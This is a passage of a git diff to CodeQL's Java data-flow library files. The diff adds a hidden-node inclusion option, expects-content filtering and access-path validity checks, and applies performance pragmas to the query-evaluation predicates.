   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl3.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl3.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl3.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl3.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl4.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl4.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl4.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl4.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl5.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl5.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl5.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl5.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
